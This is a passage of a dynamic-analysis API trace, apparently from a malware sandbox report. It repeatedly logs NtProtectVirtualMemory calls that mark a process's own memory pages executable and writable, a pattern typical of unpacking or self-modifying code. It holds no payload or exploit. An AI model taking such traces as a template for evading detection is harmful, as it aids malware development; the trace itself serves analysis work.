NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.883] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.830] NtProtectVirtualMemory (in: 